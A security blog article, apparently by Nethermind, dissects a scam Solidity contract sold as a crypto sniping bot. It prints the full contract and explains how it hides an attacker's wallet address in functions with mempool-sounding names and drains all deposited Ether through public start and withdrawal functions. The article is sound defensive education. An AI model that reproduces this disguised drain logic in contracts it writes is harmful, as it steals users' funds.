Crypto Scam Exposed: Smart Contract Disguised as Sniping Bot

Security

September 19, 2024

Intro

The aim of this article to expose one of the many scams circulating the web at the moment. We will go through a smart contract and break it down line by line to explain how that malicious smart contract will steal any Ether you send to it.

We decided to write this article after seeing an increased number of YouTube ads that are misleading users into believing that they are building an arbitrage bot, when in fact the purpose of the smart contract is to steal their funds.

We watched one such video of someone telling users that the “arbitrage bot” would make them $2,700 a day. For safety reasons, we will not be sharing the link to the video in this article.

Instead, we will take the code that the scammer suggests in the video, put it into Remix, and then explain the vulnerability inside the smart contract.

The false claims

The person in the video which inspired this article claims that they will create a sniping bot, which will monitor new Uniswap pools in real time and try to buy early into the pool, before selling for a profit later on.

The author is advising the viewers to click on a link in order to get their code for the sniping bot and then put it into Remix.

This code is malicious and if you deploy it on an actual mainnet and fund it, your funds will be stolen. We are displaying the code in this article for educational purposes only and we use it to demonstrate the attack vector. The following code MUST NEVER be used in production.

Link to the full code can be found here

To be concise, we will only showcase the vulnerable code.

The malicious code breakdown

Kindly note that we have added the string public scammerAddress line in the code to make it easier to visualize the address where the funds will be sent. We have also adjusted the fetchMempoolData function to store the return value of the abi.encodePacked method inside this variable before returning it.

//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

contract OneinchSlippageBot {

    string public scammerAddress;

    receive() external payable {}

    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }

     
    function getMempoolStart() private pure returns (string memory) {
        return "df6C"; 
    }


    function fetchMempoolEdition() private pure returns (string memory) {
        return "d8A168";
    }


    
    function getMempoolShort() private pure returns (string memory) {
        return "0xf1c7";
    }

    
    function getMempoolHeight() private pure returns (string memory) {
        return "9a49FA";
    }
    
    function getMempoolLog() private pure returns (string memory) {
        return "e23";
    }


    function getBa() private view returns(uint) {
        return address(this).balance;
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return `self`.
     */
    function fetchMempoolData() internal returns (string memory) {
        string memory _mempoolShort = getMempoolShort(); //0xf1c7

        string memory _mempoolEdition = fetchMempoolEdition(); //d8A168
    /*
        * @dev loads all Uniswap mempool into memory
        * @param token An output parameter to which the first token is written.
        * @return `mempool`.
        */
        string memory _mempoolVersion = fetchMempoolVersion(); //1FaD545
                string memory _mempoolLong = getMempoolLong();
        /*
        * @dev Modifies `self` to contain everything from the first occurrence of
        *      `needle` to the end of the slice. `self` is set to the empty slice
        *      if `needle` is not found.
        * @param self The slice to search and modify.
        * @param needle The text to search for.
        * @return `self`.
        */

        string memory _getMempoolHeight = getMempoolHeight();
        string memory _getMempoolCode = getMempoolCode();

        /*
        load mempool parameters
        */
        string memory _getMempoolStart = getMempoolStart();

        string memory _getMempoolLog = getMempoolLog();



        scammerAddress = string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, 
            _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));

        return scammerAddress;
    }
               
                   
    function getMempoolLong() private pure returns (string memory) {
        return "41e396";
    }
    
    /* @dev Perform frontrun action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `liquidity`.
     */
    function start() public payable {
        address to = startExploration(fetchMempoolData());
        address payable contracts = payable(to);
        contracts.transfer(getBa());
    }
    
    /*
     * @dev withdrawals profit back to contract creator address
     * @return `profits`.
     */
    function withdrawal() public payable {
        address to = startExploration((fetchMempoolData()));
        address payable contracts = payable(to);
        contracts.transfer(getBa());
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return `token`.
     */
    function getMempoolCode() private pure returns (string memory) {
        return "605f";
    }
    
    function fetchMempoolVersion() private pure returns (string memory) {
        return "1FaD545";   
    }
}

Receive function

The contract implements a receive() function because it needs to be able to receive native Ether.

The getBa() function

This function will return the Ether balance of this contract.

function getBa() private view returns(uint) {
        return address(this).balance;
    }

The scattered scammer’s address

In the code above we have 8 private pure functions which return some strings. As they are private, they can only be called from within this contract.

Since they are declared as pure, it means that they do not update the state.

In practice, these functions return some strings when being called.

If you look at the strings that they return and you are somewhat familiar with blockchain and wallets, you will quickly realize that these strings seem to form the address of a wallet/smart contract.

The scammer broke down their wallet’s address into multiple bits, like a puzzle, and scattered them around into these 8 functions.

The functions used for this purpose are getMempoolStart,  fetchMempoolEdition , getMempoolShort , getMempoolHeight , getMempoolLog , getMempoolLong , getMempoolCode, fetchMempoolVersion.

The names of the functions are purposefully misleading, because they seem to suggest to the users that the contract will fetch some data related to the public mempool, when in fact all that they do is to return pieces of an address.

Putting the scammer’s address together

The fetchMempoolData() function is the one that builds “the puzzle” and puts the address together. This function calls all the 8 functions mentioned above and stores their return values in some variables.

    function fetchMempoolData() internal returns (string memory) {
//..
//..
//@audit This scammerAddress variable was added by us in the contract to make it easier
//to visualize the address where the funds are getting sent to
        scammerAddress = string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, 
            _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));

        return scammerAddress;
    }

After fetching all the parts of the address, the function uses the abi.encodePacked method to concatenate all the strings together. This effectively turns the 8 “puzzle pieces” of the address into 1 full address.

startExploration() and bytes manipulation

The startExploration function takes a string as an input and returns an address as an output.

In Solidity, a string is an array of bytes. The first thing that this function does is to typecast the string input into a bytes object bytes memory tmp = bytes(_a);.

Then it will apparently manipulate this bytes object, but without making any changes to it, before returning the address. The whole purpose of this function is to take the address which was passed in as a string and return it as an address object.

start() and withdrawal() functions

We have reached the last 2 functions in the contract. We will analyze them together because if you take a close look at their logic, you’ll see that, despite having different names, they both do the same thing.

Let’s take a look at what’s happening here.

    function start() public payable {
        address to = startExploration(fetchMempoolData());
        address payable contracts = payable(to);
        contracts.transfer(getBa());
    }

The first line of code calls the fetchMempoolData() function which returns the scammer’s address as string and passes that string to the startExploration() function, so that the string object is returned as address.  Then it will set the value of to to the scammer’s address.

In the second line, it will make the to address payable and store its value into a contracts variable.

The third line of code uses the transfer() method to transfer all the Ether balance of this contract (remember that getBa returns the full Ether balance of this contract) to the address stored inside the contracts variable, which is the scammer’s address.

As stated earlier, calling the withdrawal() function will do exactly the same thing.

The attack explained - full flow

Firstly, users are misled into thinking that they will deploy a sniping bot on a blockchain network, which is supposed to generate passive income for them.

The users are then encouraged to download certain code, put it into Remix, with the video showing them how they can then deploy the smart contract on a live mainnet.

The next step that the users need to take is to fund their freshly deployed contracts with some Ether. The bigger the Ether amount, the more passive income they’ll make - at least according to the claims made in the videos.

After that, seemingly all that’s left to do is call the start function so that the “bot” starts working for the user.

However what really happens, as we’ve explained above by looking into the actual code that gets deployed on the blockchain, is that anyone who sends Ether to this contract will have it stolen from them. Once a deposit is made, anyone can call the start or withdrawal functions because these are public, and these functions will send the full Ether balance of the contract to the address that was hardcoded inside the 8 private pure functions.

Conclusion

We hope that this article has helped to highlight how vulnerabilities can be disguised in scam smart contracts, and why you should not use code from unaudited and unverified sources. If you are unsure whether that code is safe or if you don’t trust its source, the best approach is not to use it. Try to work with code from reputable and popular libraries such as OpenZeppelin, Solady, etc.

WARNING: The code analyzed in this article is malicious and if you deploy it on an actual mainnet and fund it, your funds will be stolen. We are displaying the code in this article for educational purposes only in order to demonstrate the attack vector. The code MUST NEVER be used in production.

How to stay safe?

  1. Ask a friend. Chances are you already have a friend who's a developer. Maybe he can review the code for you. If you don't have a friend who can review the code for you, go to #2.
  2. Ask a professional or company for a code review. Instead of risking your money on unaudited and unverified code, a safer option would be to reach out to a Web3 security company to carry out a code review for you. This could potentially save you from a lot of trouble.
  3. If costs are a concern, depending on the complexity of the code another option you could try would be asking an AI model such as ChatGPT to check for vulnerabilities. However, this option comes with a lot of caveats, including that (i) many AI models expressly prohibit submitting third party code in prompts where permission for such use was not obtained from the author, and (ii) at their current development level, most AI models are likely to miss many of the vulnerabilities. We therefore do not recommend relying solely on the analysis of such tools. Whilst AI models may not be a reliable source of truth, they may still give some pointers about the codebase and flag some issues with it.

The best way to ensure that the codebase is secure is to go with #2 and request a professional security review of the codebase.

The company doing the review will also provide you with an in-depth report at the end of the audit with all the vulnerabilities that were identified in the process.

Disclaimer: This article has been prepared for the general information and understanding of the readers. No representation or warranty, express or implied, is given by Nethermind as to the accuracy or completeness of the information or opinions contained in the above article. No third party should rely on this article in any way, including without limitation as financial, investment, tax, regulatory, legal, or other advice, or interpret this article as any form of recommendation.

Latest articles